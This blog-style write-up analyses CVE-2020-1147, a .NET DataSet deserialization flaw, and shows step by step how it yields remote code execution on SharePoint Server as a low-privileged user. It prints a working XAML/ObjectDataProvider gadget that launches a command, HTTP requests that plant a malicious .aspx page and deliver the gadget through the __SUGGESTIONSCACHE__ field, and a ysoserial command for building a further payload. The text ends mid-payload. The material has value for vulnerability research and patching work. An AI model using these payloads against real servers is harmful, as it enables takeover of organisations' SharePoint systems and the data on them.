SharePoint and Pwn :: Remote Code Execution Against_安全技术

0x00 Summary

When CVE-2020-1147 was released last week I was curious as to how this vulnerability manifested and how an attacker might achieve remote code execution with it. Since I’m somewhat familar with SharePoint Server and .net, I decided to take a look.

TL;DR

I share the breakdown of CVE-2020-1147 which was discovered independently by Oleksandr Mirosh, Markus Wulftange and Jonathan Birch. I share the details on how it can be leveraged against a SharePoint Server instance to gain remote code execution as a low privileged user. Please note: I am not providing a full exploit, so if that’s your jam, move along.

One of the things that stood out to me, was that Microsoft published Security Guidence related to this bug, quoting Microsoft:

If the incoming XML data contains an object whose type is not in this list… An exception is thrown. The deserialization operation fails. When loading XML into an existing DataSet or DataTable instance, the existing column definitions are also taken into account. If the table already contains a column definition of a custom type, that type is temporarily added to the allow list for the duration of the XML deserialization operation.

Interestingly, it was possible to specify types and it was possible to overwrite column definitions. That was the key giveaway for me, let’s take a look at how the DataSet object is created:

0x01 Analyze

Understanding the DataSet Object

A DataSet contains a Datatable with DataColumn(s) and DataRow(s). More importantly, it implements the ISerializable interface meaning that it can be serialized with XmlSerializer. Let’s start by creating a DataTable:

static void Main(string[] args)
{
    // instantiate the table
    DataTable exptable = new DataTable("exp table");

    // make a column and set type information and append to the table
    DataColumn dc = new DataColumn("ObjectDataProviderCol");
    dc.DataType = typeof(ObjectDataProvider);
    exptable.Columns.Add(dc);

    // make a row and set an object instance and append to the table
    DataRow row = exptable.NewRow();
    row["ObjectDataProviderCol"] = new ObjectDataProvider();
    exptable.Rows.Add(row);

    // dump the xml schema
    exptable.WriteXmlSchema("c:/poc-schema.xml");
}

Using the WriteXmlSchema method, It’s possible to write out the schema definition. That code produces the following:

<?xml version="1.0" standalone="yes"?>
<xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
  <xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true">
    <xs:complexType>
      <xs:choice minOccurs="0" maxOccurs="unbounded">
        <xs:element name="exp_x0020_table">
          <xs:complexType>
            <xs:sequence>
              <xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" />
            </xs:sequence>
          </xs:complexType>
        </xs:element>
      </xs:choice>
    </xs:complexType>
  </xs:element>
</xs:schema>

Looking into the code of DataSet it’s revealed that it exposes its own serialization methods (wrapped over XmlSerializer) using WriteXml and ReadXML:

System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
  System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
    System.Data.XmlDataLoader.LoadData(XmlReader reader)
      System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
        System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
          System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
            System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)

Now, all that’s left to do is add the table to a dataset and serialize it up:

DataSet ds = new DataSet("poc");
ds.Tables.Add(exptable);
using (var writer = new StringWriter())
{
    ds.WriteXml(writer);
    Console.WriteLine(writer.ToString());
}

These serialization methods retain schema types and reconstruct attacker influenced types at runtime using a single DataSet expected type in the instantiated XmlSerializer object graph.

The DataSet Gadget

Below is an example of such a gadget that can be crafted, note that this is not to be confused with the DataSet gadgets in ysoserial:

<DataSet>
  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
      <xs:complexType>
        <xs:choice minOccurs="0" maxOccurs="unbounded">
          <xs:element name="Exp_x0020_Table">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>
  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">

        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">

          <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
              <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c mspaint </System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"/>
          </ProjectedProperty0>
        </pwn>
      </Exp_x0020_Table>
    </somedataset>
  </diffgr:diffgram>
</DataSet>

This gadget chain will call an arbitrary static method on a Type which contains no interface members. Here I used the notorious XamlReader.Parse to load malicious Xaml to execute a system command. I used the ExpandedWrapper class to load two different types as mentioned by @pwntester’s amazing research.

It can be leveraged in a number of sinks, such as:

XmlSerializer ser = new XmlSerializer(typeof(DataSet));
Stream reader = new FileStream("c:/poc.xml", FileMode.Open);
ser.Deserialize(reader);

Many applications consider DataSet to be safe, so even if the expected type can’t be controlled directly to XmlSerializer, DataSet is typically used in the object graph. However, the most interesting sink is the DataSet.ReadXml to trigger code execution:

DataSet ds = new DataSet();
ds.ReadXml("c:/poc.xml");

Applying the Gadget to SharePoint Server

If we take a look at ZDI-20-874, the advisory mentions the Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet control which can be leveraged for remote code execution. This immediately plagued my interest since it had the name (DataSet) in its class name. Let’s take a look at SharePoint’s default web.config file:

<controls>
<add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
<add tagPrefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
<add tagPrefix="WebPartPages" namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
<add tagPrefix="PWA" namespace="Microsoft.Office.Project.PWA.CommonControls" assembly="Microsoft.Office.Project.Server.PWA, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
<add tagPrefix="spsswc" namespace="Microsoft.Office.Server.Search.WebControls" assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
</controls>

Under the controls tag, we can see that a prefix doesn’t exist for the Microsoft.PerformancePoint.Scorecards namespace. However, if we check the SafeControl tags, it is indeed listed with all types from that namespace permitted.

<configuration>
  <configSections>
  <SharePoint>
    <SafeControls>
      <SafeControl Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" Namespace="Microsoft.PerformancePoint.Scorecards" TypeName="*" />
...

Now that we know we can instantiate classes from that namespace, let’s dive into the code to inspect the ExcelDataSet type:

namespace Microsoft.PerformancePoint.Scorecards
{

 [Serializable]
 public class ExcelDataSet
{

The first thing I noticed is that it’s serializable, so I know that it can infact be instantiated as a control and the default constructor will be called along with any public setters that are not marked with the System.Xml.Serialization.XmlIgnoreAttribute attribute. SharePoint uses XmlSerializer for creating objects from controls so anywhere in the code where attacker supplied data can flow into TemplateControl.ParseControl, the ExcelDataSet type can be leveraged.

One of the properties that stood out was the DataTable property since it contains a public setter and uses the type System.Data.DataTable. However, on closer inspection, we can see that the XmlIgnore attribute is being used, so we can’t trigger the deserialization using this setter.

[XmlIgnore]
public DataTable DataTable
{
 get
 {
  if (this.dataTable == null && this.compressedDataTable != null)
  {
   this.dataTable = (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable, ExcelDataSet.ExpectedSerializationTypes) as DataTable);
   if (this.dataTable == null)
   {
    this.compressedDataTable = null;
   }
  }
  return this.dataTable;
 }
 set
 {
  this.dataTable = value;
  this.compressedDataTable = null;
 }
}

The above code does reveal the partial answer though, the getter calls GetObjectFromCompressedBase64String using the compressedDataTable property. This method will decode the supplied base64, decompress the binary formatter payload and call BinaryFormatter.Deserialize with it. However, the code contains expected types for the deserialization, one of which is DataTable, So we can’t just stuff a generated TypeConfuseDelegate here.

private static readonly Type[] ExpectedSerializationTypes = new Type[]
{
    typeof(DataTable),
    typeof(Version)
};

Inspecting the CompressedDataTable property, we can see that we have no issues setting the compressedDataTable member since it’s using System.Xml.Serialization.XmlElementAttribute attribute.

[XmlElement]
public string CompressedDataTable
{
 get
 {
  if (this.compressedDataTable == null && this.dataTable != null)
  {
   this.compressedDataTable = Helper.GetCompressedBase64StringFromObject(this.dataTable);
  }
  return this.compressedDataTable;
 }
 set
 {
  this.compressedDataTable = value;
  this.dataTable = null;
 }
}

Putting it (almost all) together, I could register a prefix and instantiate the control with a base64 encoded, compressed and serialized, albeit, dangerous DataTable:

However, I couldn’t figure out a way to trigger the DataTable property getter. I know I needed a way to use the DataSet, but I just didn’t know how too.

Many Paths Lead to Rome

The fustration! After going for a walk with my dog, I decided to think about this differently and I asked myself what other sinks are available. Then I remembered that the DataSet.ReadXml sink was also a source of trouble, so I checked the code again and found this valid code path:

Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet)

Inside of the ContactLinksSuggestionsMicroView class we can see the GetDataSet method:

protected override DataSet GetDataSet()
{
    base.StopProcessingRequestIfNotNeeded();
    if (!this.Page.IsPostBack || this.Hidden)                                                                       // 1
    {
        return null;
    }
    DataSet dataSet = new DataSet();
    DataTable dataTable = dataSet.Tables.Add();
    dataTable.Columns.Add("PreferredName", typeof(string));
    dataTable.Columns.Add("Weight", typeof(double));
    dataTable.Columns.Add("UserID", typeof(string));
    dataTable.Columns.Add("Email", typeof(string));
    dataTable.Columns.Add("PageURL", typeof(string));
    dataTable.Columns.Add("PictureURL", typeof(string));
    dataTable.Columns.Add("Title", typeof(string));
    dataTable.Columns.Add("Department", typeof(string));
    dataTable.Columns.Add("SourceMask", typeof(int));
    if (this.IsInitialPostBack)                                                                                      // 2
    {
        this.PopulateDataSetFromSuggestions(dataSet);
    }
    else
    {
        this.PopulateDataSetFromCache(dataSet);                                                                  // 3
    }
    this.m_strJavascript.AppendLine("var user = new Object();");
    foreach (object obj in dataSet.Tables[0].Rows)
    {
        DataRow dataRow = (DataRow)obj;
        string scriptLiteralToEncode = (string)dataRow["UserID"];
        int num = (int)dataRow["SourceMask"];
        this.m_strJavascript.Append("user['");
        this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode));
        this.m_strJavascript.Append("'] = ");
        this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture));
        this.m_strJavascript.AppendLine(";");
    }
    StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture);
    dataSet.WriteXml(stringWriter);
    SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString());
    return dataSet;
}

At [1] the code checks that the request is a POST back request. To ensure this, an attacker can set the __viewstate POST variable, then at [2] the code will check that the __SUGGESTIONSCACHE__ POST variable is set, if it’s set, the IsInitialPostBack getter will return false. As long as this getter returns false, an attacker can land at [3], reaching PopulateDataSetFromCache. This call will use a DataSet that has been created with a specific schema definition.

protected void PopulateDataSetFromCache(DataSet ds)
{
    string value = SPRequestParameterUtility.GetValue<string>(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form);
    using (XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(value)))
    {
        xmlTextReader.DtdProcessing = DtdProcessing.Prohibit;
        ds.ReadXml(xmlTextReader);                                                                              // 4
        ds.AcceptChanges();
    }
}

Inside of PopulateDataSetFromCache, the code callsSPRequestParameterUtility.GetValue to get attacker controlled data from the __SUGGESTIONSCACHE__ request variable and parses it directly into ReadXml using XmlTextReader. The previously defined schema is overwritten with the attacker supplied schema inside of the supplied XML and deserialization of untrusted types occurs at [4], leading to remote code execution. To trigger this, I created a page that uses the ContactLinksSuggestionsMicroView type specifically:

PUT /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Length: 252

<%@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls" Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"%>
<escape:ContactLinksSuggestionsMicroView runat="server" />

If you are exploiting this bug as a low privlidged user and the AddAndCustomizePages setting is disabled, then you can possibly exploit the bug with pages that instantiate the InputFormContactLinksSuggestionsMicroView control, since it extends from ContactLinksSuggestionsMicroView.

namespace Microsoft.SharePoint.Portal.WebControls
{

 [SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
 [AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]
 [AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)]
 [SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]
 public class InputFormContactLinksSuggestionsMicroView : ContactLinksSuggestionsMicroView
{

The endpoints I found (but remain untested) are:

  1. https://<target>/_layouts/15/quicklinks.aspx
  2. https://<target>/_layouts/15/quicklinksdialogform.aspx

Now, to exploit it we can perform a post request to our freshly crafted page:

POST /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>

One Last Thing

You cannot use the XamlReader.Load static method because the IIS webserver is impersonating as the IUSR account and that account has limited access to the registry. If you try, you will end up with a stack trace like this unless you disable impersonation under IIS and use the application pool identity:

You need to find another dangerous static method or setter to call from a type that doesn’t use interface members, I leave this as an exercise to the reader, good luck!

Remote Code Execution Exploit

Ok so I lied. Look the truth is, I just want people to read the full blog post and not rush to find the exploit payload, it’s better to understand the underlying technology you know? Anyway, to exploit this bug we can (ab)use the LosFormatter.Deserialize method since the class contains no interface members. To do so, we need to generate a base64 payload of a serialized ObjectStateFormatter gadget chain:

c:\> ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c mspaint

Now, we can plug the payload into the following DataSet gadget and trigger remote code execution against the target SharePoint Server!

<DataSet>
